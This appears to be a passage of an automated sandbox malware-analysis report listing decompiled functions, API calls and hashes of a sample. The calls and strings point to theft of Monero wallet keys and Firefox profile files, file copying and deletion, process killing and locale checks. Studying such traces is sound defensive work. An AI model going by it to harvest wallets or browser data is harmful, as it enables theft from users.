Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b5025b9e1755e40934b6ca22dcc96745e447bf7c94a4a740c9e4bcfefb6c165d
Instruction ID: e4045313edbef8636934fc5cbdfb2ff8801be125b26db17114bf26f3447b3812
Opcode Fuzzy Hash: b5025b9e1755e40934b6ca22dcc96745e447bf7c94a4a740c9e4bcfefb6c165d
Instruction Fuzzy Hash: 6DE132B291111C9ADB14EB61CC66EFE7339AF50304F4045DEB60E62092EF386B99CF59

Function 00520098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te k, xrefs: 00520347
te knd 3expand 32-by, xrefs: 0052034E
nd 3, xrefs: 00520117
nd 32-by, xrefs: 005204B4
2-by, xrefs: 005200F6
te k, xrefs: 005203B4
2-by, xrefs: 0052036E
expa, xrefs: 00520461
expand 32-by, xrefs: 005203C8
te k, xrefs: 0052053E
2-byexpa, xrefs: 00520355
expand 3, xrefs: 005204E5
expa, xrefs: 005205BB

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: 68cf9c4fe141c221cf4d4ff4d5f357fc77331dfa7f59e6dd868f91c46cc70064
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: EFE276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 004EF7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005016B0,00500D97), ref: 004EF81E
StrCmpCA.SHLWAPI(?,005016B4), ref: 004EF86F
StrCmpCA.SHLWAPI(?,005016B8), ref: 004EF885
FindNextFileA.KERNEL32(000000FF,?), ref: 004EFBB1
FindClose.KERNEL32(000000FF), ref: 004EFBC3

Strings

prefs.js, xrefs: 004EF912

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f00c3f7e4d4c7db4cc4b679e506939448a493d06646a5316cc1c012cdc0e58c3
Instruction ID: bc750cafbb92ffdd38e1e78ab40a498d8ebf6643935becd558c2c1fc1c5da353
Opcode Fuzzy Hash: f00c3f7e4d4c7db4cc4b679e506939448a493d06646a5316cc1c012cdc0e58c3
Instruction Fuzzy Hash: 43B162B19001089BCB24EF61DD95FFE7379AF54304F0085AEA60E56191EF386B58CB9A

Function 004E1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0050523C,?,?,?,005052E4,?,?,00000000,?,00000000), ref: 004E1963
StrCmpCA.SHLWAPI(?,0050538C), ref: 004E19B3
StrCmpCA.SHLWAPI(?,00505434), ref: 004E19C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004E1D80
DeleteFileA.KERNEL32(00000000), ref: 004E1E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 004E1E60
FindClose.KERNEL32(000000FF), ref: 004E1E72

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Strings

\*.*, xrefs: 004E1831

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 8cf26f2f3a655263793ea0dad8c0337875b87074fa8590789eade542735f51fe
Instruction ID: 27b22c82c0da35c609d5be7d94028331df045142c3d41d913e95371d87f4219d
Opcode Fuzzy Hash: 8cf26f2f3a655263793ea0dad8c0337875b87074fa8590789eade542735f51fe
Instruction Fuzzy Hash: 2A12EEB191015C9BCB15EB61CCA6EFE7379AF54304F4045DEA20E62091EF386B98CF69

Function 004EDF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00500C32), ref: 004EDF5E
StrCmpCA.SHLWAPI(?,005015C0), ref: 004EDFAE
StrCmpCA.SHLWAPI(?,005015C4), ref: 004EDFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 004EE4E0
FindClose.KERNEL32(000000FF), ref: 004EE4F2

Strings

\*.*, xrefs: 004EDF26

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: fc39db8f968523696fe4e1a7529d444678ee82a7d4b6f293555daf55ba11b646
Instruction ID: 6663c55e8567e01812177801de20ce828c2305c1696c2d2d12273a24db3e5300
Opcode Fuzzy Hash: fc39db8f968523696fe4e1a7529d444678ee82a7d4b6f293555daf55ba11b646
Instruction Fuzzy Hash: 8FF1CCB191011C9ACB25EB61CCA5EFE7339BF54304F4045DEA20E62091EF386B99CF5A

Function 004EDB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005015A8,00500BAF), ref: 004EDBEB
StrCmpCA.SHLWAPI(?,005015AC), ref: 004EDC33
StrCmpCA.SHLWAPI(?,005015B0), ref: 004EDC49
FindNextFileA.KERNEL32(000000FF,?), ref: 004EDECC
FindClose.KERNEL32(000000FF), ref: 004EDEDE

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a83661f187372ac7316175a475c9063cc0609440553edbbbc3ca115428567bb8
Instruction ID: 22e3cdc75646e4d19257149d46a1ba51fba9c13d354571e5cfb8f8c3ae8edcc1
Opcode Fuzzy Hash: a83661f187372ac7316175a475c9063cc0609440553edbbbc3ca115428567bb8
Instruction Fuzzy Hash: 679156B2E001089BCB14FB75DD56DFD733DAB84345F00865EFA0A56181EA389B1CCB9A

Function 0093620F Relevance: 12.9, Strings: 9, Instructions: 1613COMMON

Download Yara Rule

Strings

6{, xrefs: 00936C02
s S}, xrefs: 009373BF
,J>, xrefs: 009367AF
v~W?, xrefs: 00936B1A
A_{, xrefs: 00936D43
E{, xrefs: 00936B51
]=, xrefs: 009364C0
]K)}, xrefs: 00936806
>Fq, xrefs: 009370EC

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,J>$6{$>Fq$A_{$E{$]K)}$s S}$v~W?$]=
API String ID: 0-2808568579
Opcode ID: 51fe5d8d2d6280ca8ffd31f6dbc934001e7ddab69384095bfc3a674d5366139e
Instruction ID: 5240c81a549c0f3ecd608cbe29c5f271acb9ed33f9109191e2688a976f99f289
Opcode Fuzzy Hash: 51fe5d8d2d6280ca8ffd31f6dbc934001e7ddab69384095bfc3a674d5366139e
Instruction Fuzzy Hash: 27B2E6F36082009FE304AE2DEC8567ABBE9EBD4720F1A493DE6C5C3744E63598058697

Function 0092DDF9 Relevance: 12.8, Strings: 9, Instructions: 1590COMMON

Download Yara Rule

Strings

#j[o, xrefs: 0092EFB2
dw?, xrefs: 0092E5BD
%7_, xrefs: 0092E0D4
w/=e, xrefs: 0092E486
)"}, xrefs: 0092F099
r-?], xrefs: 0092F1C0
S8?, xrefs: 0092EEB3
W8?, xrefs: 0092EEAD
}h??, xrefs: 0092F155

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #j[o$%7_$S8?$W8?$dw?$r-?]$w/=e$}h??$)"}
API String ID: 0-1978804692
Opcode ID: d330bb830353084277321b2102a7f28bc86a88a5161b40eaf64f28bb30cc3f6b
Instruction ID: ada7cb9e05f75f798ac76f213d7e4982fe6d6214e8b4cb0062f2f2b3742395e3
Opcode Fuzzy Hash: d330bb830353084277321b2102a7f28bc86a88a5161b40eaf64f28bb30cc3f6b
Instruction Fuzzy Hash: FAB226F360C204AFE304AE2DEC8567ABBE9EF94720F1A493DE6C5C3744EA3558058657

Function 004F98E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004F9905
Process32First.KERNEL32(004E9FDE,00000128), ref: 004F9919
Process32Next.KERNEL32(004E9FDE,00000128), ref: 004F992E
StrCmpCA.SHLWAPI(?,004E9FDE), ref: 004F9943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004F995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 004F997A
CloseHandle.KERNEL32(00000000), ref: 004F9987
CloseHandle.KERNEL32(004E9FDE), ref: 004F9993

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: eb69fad658730005edaa42f9fab370e2790bae1453ea7f524601f49682988ef7
Instruction ID: 1637dc52ee4593889fe4bd389f83c2f7acccf7b792697645c6ea0ed0a3bfc54a
Opcode Fuzzy Hash: eb69fad658730005edaa42f9fab370e2790bae1453ea7f524601f49682988ef7
Instruction Fuzzy Hash: AF11E27590421CABDB28DFA5DC48FEEB779BB88701F00858DF505A6240D7789A44CFA4

Function 004F7D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

GetKeyboardLayoutList.USER32(00000000,00000000,005005B7), ref: 004F7D71
LocalAlloc.KERNEL32(00000040,?), ref: 004F7D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 004F7D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 004F7DF2
LocalFree.KERNEL32(00000000), ref: 004F7EB2

Strings

/ , xrefs: 004F7E0F

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 05e07894d4bcf4ec19a02e811308419d5edda9eb34c70c0b104695037f0a5879
Instruction ID: 6149fcbb8fa88c27245160c5a06d64f6d662f276734ce0fc5236ce37410fdd40
Opcode Fuzzy Hash: 05e07894d4bcf4ec19a02e811308419d5edda9eb34c70c0b104695037f0a5879
